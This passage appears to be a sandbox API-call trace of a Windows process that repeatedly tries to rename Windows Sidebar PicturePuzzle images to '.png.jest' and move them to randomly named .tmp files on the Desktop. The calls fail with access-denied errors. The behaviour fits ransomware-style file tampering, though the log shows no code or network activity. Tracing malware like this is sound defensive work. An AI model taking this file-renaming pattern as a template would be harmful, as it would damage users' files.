ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x57, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 0x143ce48 [0126.729] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.731] VarBstrFromR4 (in: fltIn=0x4794454e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.61") returned 0x0 [0126.731] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.731] GetTickCount () returned 0x1152212 [0126.731] GetTickCount () returned 0x1152212 [0126.731] CoFreeUnusedLibraries () [0126.731] GetTickCount () returned 0x1152212 [0126.731] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.731] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.731] GetTickCount () returned 0x1152212 [0126.731] IsWindowVisible (hWnd=0x30268) returned 0 [0126.731] Sleep (dwMilliseconds=0x0) [0126.731] GetFullPathNameA (in: lpFileName="M0LRPX6pJi_Oc88_o2MBZVzPoWm3H 53_zmY9SLif4oUKeDlsoMp0pSCUW9VXwyJYbkfTH8SPUDsYyt9-AdVm919sLUPbydDZgz40.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M0LRPX6pJi_Oc88_o2MBZVzPoWm3H 53_zmY9SLif4oUKeDlsoMp0pSCUW9VXwyJYbkfTH8SPUDsYyt9-AdVm919sLUPbydDZgz40.tmp", lpFilePart=0x18e708*="M0LRPX6pJi_Oc88_o2MBZVzPoWm3H 53_zmY9SLif4oUKeDlsoMp0pSCUW9VXwyJYbkfTH8SPUDsYyt9-AdVm919sLUPbydDZgz40.tmp") returned 0x8f [0126.732] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png", lpFilePart=0x18e708*="0.png") returned 0x50 [0126.732] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\0.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M0LRPX6pJi_Oc88_o2MBZVzPoWm3H 53_zmY9SLif4oUKeDlsoMp0pSCUW9VXwyJYbkfTH8SPUDsYyt9-AdVm919sLUPbydDZgz40.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m0lrpx6pji_oc88_o2mbzvzpowm3h 53_zmy9slif4oukedlsomp0pscuw9vxwyjybkfth8spudsyyt9-advm919slupbyddzgz40.tmp")) returned 0 [0126.734] GetLastError () returned 0x5 [0126.734] GetLastError () returned 0x5 [0126.734] SetLastError (dwErrCode=0x5) [0126.734] GetLastError () returned 0x5 [0126.734] SetLastError (dwErrCode=0x5) [0126.734] GetLastError () returned 0x5 [0126.734] SetLastError (dwErrCode=0x5) [0126.735] GetFullPathNameA (in: lpFileName="M0LRPX6pJi_Oc88_o2MBZVzPoWm3H 53_zmY9SLif4oUKeDlsoMp0pSCUW9VXwyJYbkfTH8SPUDsYyt9-AdVm919sLUPbydDZgz40.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M0LRPX6pJi_Oc88_o2MBZVzPoWm3H 53_zmY9SLif4oUKeDlsoMp0pSCUW9VXwyJYbkfTH8SPUDsYyt9-AdVm919sLUPbydDZgz40.tmp", lpFilePart=0x18e6e4*="M0LRPX6pJi_Oc88_o2MBZVzPoWm3H 53_zmY9SLif4oUKeDlsoMp0pSCUW9VXwyJYbkfTH8SPUDsYyt9-AdVm919sLUPbydDZgz40.tmp") returned 0x8f [0126.735] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M0LRPX6pJi_Oc88_o2MBZVzPoWm3H 53_zmY9SLif4oUKeDlsoMp0pSCUW9VXwyJYbkfTH8SPUDsYyt9-AdVm919sLUPbydDZgz40.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x524c304d, cFileName="PX6pJi_Oc88_o2MBZVzPoWm3H 53_zmY9SLif4oUKeDlsoMp0pSCUW9VXwyJYbkfTH8SPUDsYyt9-AdVm919sLUPbydDZgz40.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.735] GetLastError () returned 0x2 [0126.735] GetLastError () returned 0x2 [0126.735] SetLastError (dwErrCode=0x2) [0126.736] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.736] GetTickCount () returned 0x1152212 [0126.736] GetTickCount () returned 0x1152212 [0126.736] CoFreeUnusedLibraries () [0126.736] GetTickCount () returned 0x1152212 [0126.736] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.736] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.736] GetTickCount () returned 0x1152212 [0126.736] IsWindowVisible (hWnd=0x30268) returned 0 [0126.736] Sleep (dwMilliseconds=0x0) [0126.736] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\1.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\1.png.jest")) returned 0 [0126.738] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png", lpFilePart=0x18e6d8*="1.png") returned 0x50 [0126.739] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba036d48, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba036d48, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5323, dwReserved0=0x57, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 0x143ce48 [0126.740] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.741] VarBstrFromR4 (in: fltIn=0x4794454e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.61") returned 0x0 [0126.742] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.742] GetTickCount () returned 0x1152212 [0126.742] GetTickCount () returned 0x1152212 [0126.742] CoFreeUnusedLibraries () [0126.742] GetTickCount () returned 0x1152212 [0126.742] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.742] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.742] GetTickCount () returned 0x1152212 [0126.742] IsWindowVisible (hWnd=0x30268) returned 0 [0126.742] Sleep (dwMilliseconds=0x0) [0126.742] GetFullPathNameA (in: lpFileName="FGjC5zkoLXgnL6vKt9nFYCHgmBUQiuKzzBii6T3ish-HdlmgUy8-4dePpPp31fzK7wFQ5tYf18DiXBBm4G_ugL ufGIhYp_jHQgD.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FGjC5zkoLXgnL6vKt9nFYCHgmBUQiuKzzBii6T3ish-HdlmgUy8-4dePpPp31fzK7wFQ5tYf18DiXBBm4G_ugL ufGIhYp_jHQgD.tmp", lpFilePart=0x18e708*="FGjC5zkoLXgnL6vKt9nFYCHgmBUQiuKzzBii6T3ish-HdlmgUy8-4dePpPp31fzK7wFQ5tYf18DiXBBm4G_ugL ufGIhYp_jHQgD.tmp") returned 0x8e [0126.743] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png", lpFilePart=0x18e708*="1.png") returned 0x50 [0126.747] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\1.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FGjC5zkoLXgnL6vKt9nFYCHgmBUQiuKzzBii6T3ish-HdlmgUy8-4dePpPp31fzK7wFQ5tYf18DiXBBm4G_ugL ufGIhYp_jHQgD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fgjc5zkolxgnl6vkt9nfychgmbuqiukzzbii6t3ish-hdlmguy8-4depppp31fzk7wfq5tyf18dixbbm4g_ugl ufgihyp_jhqgd.tmp")) returned 0 [0126.749] GetLastError () returned 0x5 [0126.749] GetLastError () returned 0x5 [0126.749] SetLastError (dwErrCode=0x5) [0126.749] GetLastError () returned 0x5 [0126.749] SetLastError (dwErrCode=0x5) [0126.749] GetLastError () returned 0x5 [0126.749] SetLastError (dwErrCode=0x5) [0126.749] GetFullPathNameA (in: lpFileName="FGjC5zkoLXgnL6vKt9nFYCHgmBUQiuKzzBii6T3ish-HdlmgUy8-4dePpPp31fzK7wFQ5tYf18DiXBBm4G_ugL ufGIhYp_jHQgD.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FGjC5zkoLXgnL6vKt9nFYCHgmBUQiuKzzBii6T3ish-HdlmgUy8-4dePpPp31fzK7wFQ5tYf18DiXBBm4G_ugL ufGIhYp_jHQgD.tmp", lpFilePart=0x18e6e4*="FGjC5zkoLXgnL6vKt9nFYCHgmBUQiuKzzBii6T3ish-HdlmgUy8-4dePpPp31fzK7wFQ5tYf18DiXBBm4G_ugL ufGIhYp_jHQgD.tmp") returned 0x8e [0126.749] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FGjC5zkoLXgnL6vKt9nFYCHgmBUQiuKzzBii6T3ish-HdlmgUy8-4dePpPp31fzK7wFQ5tYf18DiXBBm4G_ugL ufGIhYp_jHQgD.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x436a4746, cFileName="5zkoLXgnL6vKt9nFYCHgmBUQiuKzzBii6T3ish-HdlmgUy8-4dePpPp31fzK7wFQ5tYf18DiXBBm4G_ugL ufGIhYp_jHQgD.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.749] GetLastError () returned 0x2 [0126.749] GetLastError () returned 0x2 [0126.750] SetLastError (dwErrCode=0x2) [0126.753] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.753] GetTickCount () returned 0x1152221 [0126.753] GetTickCount () returned 0x1152221 [0126.753] CoFreeUnusedLibraries () [0126.753] GetTickCount () returned 0x1152221 [0126.753] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.753] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.753] GetTickCount () returned 0x1152221 [0126.753] IsWindowVisible (hWnd=0x30268) returned 0 [0126.753] Sleep (dwMilliseconds=0x0) [0126.755] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\10.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\10.png.jest")) returned 0 [0126.758] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png", lpFilePart=0x18e6d8*="10.png") returned 0x51 [0126.758] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba11b582, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba11b582, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc084a69c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x57, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 0x143ce48 [0126.759] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.762] VarBstrFromR4 (in: fltIn=0x47944552, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.64") returned 0x0 [0126.763] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.763] GetTickCount () returned 0x1152231 [0126.764] GetTickCount () returned 0x1152231 [0126.764] CoFreeUnusedLibraries () [0126.764] GetTickCount () returned 0x1152231 [0126.764] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.764] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.764] GetTickCount () returned 0x1152231 [0126.764] IsWindowVisible (hWnd=0x30268) returned 0 [0126.764] Sleep (dwMilliseconds=0x0) [0126.767] GetFullPathNameA (in: lpFileName="5DHMvosp2HWx1kCW06vG-Z5nzlqIFFi2ZHNTCWMobqHsanxqTWV4jXXokFLDdvOK9HoQdK l5j6ANWbCtW vSr2Tte5EDtu7IlG.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5DHMvosp2HWx1kCW06vG-Z5nzlqIFFi2ZHNTCWMobqHsanxqTWV4jXXokFLDdvOK9HoQdK l5j6ANWbCtW vSr2Tte5EDtu7IlG.tmp", lpFilePart=0x18e708*="5DHMvosp2HWx1kCW06vG-Z5nzlqIFFi2ZHNTCWMobqHsanxqTWV4jXXokFLDdvOK9HoQdK l5j6ANWbCtW vSr2Tte5EDtu7IlG.tmp") returned 0x8d [0126.767] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png", lpFilePart=0x18e708*="10.png") returned 0x51 [0126.767] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\10.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5DHMvosp2HWx1kCW06vG-Z5nzlqIFFi2ZHNTCWMobqHsanxqTWV4jXXokFLDdvOK9HoQdK l5j6ANWbCtW vSr2Tte5EDtu7IlG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5dhmvosp2hwx1kcw06vg-z5nzlqiffi2zhntcwmobqhsanxqtwv4jxxokflddvok9hoqdk l5j6anwbctw vsr2tte5edtu7ilg.tmp")) returned 0 [0126.769] GetLastError () returned 0x5 [0126.769] GetLastError () returned 0x5 [0126.769] SetLastError (dwErrCode=0x5) [0126.769] GetLastError () returned 0x5 [0126.769] SetLastError (dwErrCode=0x5) [0126.769] GetLastError () returned 0x5 [0126.769] SetLastError (dwErrCode=0x5) [0126.770] GetFullPathNameA (in: lpFileName="5DHMvosp2HWx1kCW06vG-Z5nzlqIFFi2ZHNTCWMobqHsanxqTWV4jXXokFLDdvOK9HoQdK l5j6ANWbCtW vSr2Tte5EDtu7IlG.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5DHMvosp2HWx1kCW06vG-Z5nzlqIFFi2ZHNTCWMobqHsanxqTWV4jXXokFLDdvOK9HoQdK l5j6ANWbCtW vSr2Tte5EDtu7IlG.tmp", lpFilePart=0x18e6e4*="5DHMvosp2HWx1kCW06vG-Z5nzlqIFFi2ZHNTCWMobqHsanxqTWV4jXXokFLDdvOK9HoQdK l5j6ANWbCtW vSr2Tte5EDtu7IlG.tmp") returned 0x8d [0126.770] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5DHMvosp2HWx1kCW06vG-Z5nzlqIFFi2ZHNTCWMobqHsanxqTWV4jXXokFLDdvOK9HoQdK l5j6ANWbCtW vSr2Tte5EDtu7IlG.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4d484435, cFileName="vosp2HWx1kCW06vG-Z5nzlqIFFi2ZHNTCWMobqHsanxqTWV4jXXokFLDdvOK9HoQdK l5j6ANWbCtW vSr2Tte5EDtu7IlG.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.770] GetLastError () returned 0x2 [0126.770] GetLastError () returned 0x2 [0126.770] SetLastError (dwErrCode=0x2) [0126.773] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.773] GetTickCount () returned 0x1152231 [0126.773] GetTickCount () returned 0x1152231 [0126.774] CoFreeUnusedLibraries () [0126.774] GetTickCount () returned 0x1152231 [0126.774] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.774] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.774] GetTickCount () returned 0x1152231 [0126.774] IsWindowVisible (hWnd=0x30268) returned 0 [0126.774] Sleep (dwMilliseconds=0x0) [0126.775] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\11.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\11.png.jest")) returned 0 [0126.777] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png", lpFilePart=0x18e6d8*="11.png") returned 0x51 [0126.777] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1416e1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1416e1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc084a69c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6936, dwReserved0=0x57, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 0x143ce48 [0126.778] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.780] VarBstrFromR4 (in: fltIn=0x47944554, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.66") returned 0x0 [0126.782] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.782] GetTickCount () returned 0x1152241 [0126.782] GetTickCount () returned 0x1152241 [0126.782] CoFreeUnusedLibraries () [0126.782] GetTickCount () returned 0x1152241 [0126.782] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.782] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.782] GetTickCount () returned 0x1152241 [0126.782] IsWindowVisible (hWnd=0x30268) returned 0 [0126.782] Sleep (dwMilliseconds=0x0) [0126.786] GetFullPathNameA (in: lpFileName="9RrjddQiHs3tGWsAZA0TI9 CAfIfVmD7TghiGM2MV6MTmi7goAVvq16ymArkKXGuZZDUO44BNt0Wns2Q4ovCLNusFFrAhGfz GLx.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9RrjddQiHs3tGWsAZA0TI9 CAfIfVmD7TghiGM2MV6MTmi7goAVvq16ymArkKXGuZZDUO44BNt0Wns2Q4ovCLNusFFrAhGfz GLx.tmp", lpFilePart=0x18e708*="9RrjddQiHs3tGWsAZA0TI9 CAfIfVmD7TghiGM2MV6MTmi7goAVvq16ymArkKXGuZZDUO44BNt0Wns2Q4ovCLNusFFrAhGfz GLx.tmp") returned 0x8e [0126.787] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png", lpFilePart=0x18e708*="11.png") returned 0x51 [0126.787] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\11.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9RrjddQiHs3tGWsAZA0TI9 CAfIfVmD7TghiGM2MV6MTmi7goAVvq16ymArkKXGuZZDUO44BNt0Wns2Q4ovCLNusFFrAhGfz GLx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9rrjddqihs3tgwsaza0ti9 cafifvmd7tghigm2mv6mtmi7goavvq16ymarkkxguzzduo44bnt0wns2q4ovclnusffrahgfz glx.tmp")) returned 0 [0126.789] GetLastError () returned 0x5 [0126.789] GetLastError () returned 0x5 [0126.789] SetLastError (dwErrCode=0x5) [0126.789] GetLastError () returned 0x5 [0126.789] SetLastError (dwErrCode=0x5) [0126.789] GetLastError () returned 0x5 [0126.789] SetLastError (dwErrCode=0x5) [0126.790] GetFullPathNameA (in: lpFileName="9RrjddQiHs3tGWsAZA0TI9 CAfIfVmD7TghiGM2MV6MTmi7goAVvq16ymArkKXGuZZDUO44BNt0Wns2Q4ovCLNusFFrAhGfz GLx.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9RrjddQiHs3tGWsAZA0TI9 CAfIfVmD7TghiGM2MV6MTmi7goAVvq16ymArkKXGuZZDUO44BNt0Wns2Q4ovCLNusFFrAhGfz GLx.tmp", lpFilePart=0x18e6e4*="9RrjddQiHs3tGWsAZA0TI9 CAfIfVmD7TghiGM2MV6MTmi7goAVvq16ymArkKXGuZZDUO44BNt0Wns2Q4ovCLNusFFrAhGfz GLx.tmp") returned 0x8e [0126.790] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9RrjddQiHs3tGWsAZA0TI9 CAfIfVmD7TghiGM2MV6MTmi7goAVvq16ymArkKXGuZZDUO44BNt0Wns2Q4ovCLNusFFrAhGfz GLx.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, 